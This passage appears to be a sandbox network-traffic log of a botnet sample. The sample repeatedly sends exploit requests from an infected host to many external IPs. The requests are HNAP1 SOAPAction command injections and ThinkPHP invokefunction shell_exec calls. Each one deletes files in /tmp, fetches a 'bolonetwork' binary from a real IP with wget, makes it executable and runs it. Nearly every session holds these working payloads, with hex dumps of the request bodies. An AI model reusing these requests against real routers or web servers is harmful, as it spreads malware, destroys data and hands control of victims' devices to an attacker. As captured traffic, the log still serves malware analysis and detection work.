xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Jul 20, 2024 23:05:43.596596956 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	59114	115.193.221.183	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.584614992 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	48492	95.82.15.117	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.786015987 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	55198	120.245.6.162	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.807197094 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	50222	95.12.52.181	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.811567068 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	45734	139.176.103.99	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.840807915 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	58656	17.188.164.234	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.851370096 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	60698	95.12.88.73	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.854708910 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	60328	74.144.83.171	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.860018969 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	47848	95.109.0.167	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.967087984 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	45394	121.121.132.42	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.983061075 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	33256	95.85.44.222	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.984282017 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	60284	47.44.23.215	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.986148119 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	44598	95.48.33.221	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.987991095 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	34324	130.226.197.71	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.992369890 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	59526	95.169.160.58	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.995924950 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	46284	201.159.112.182	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.004374981 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 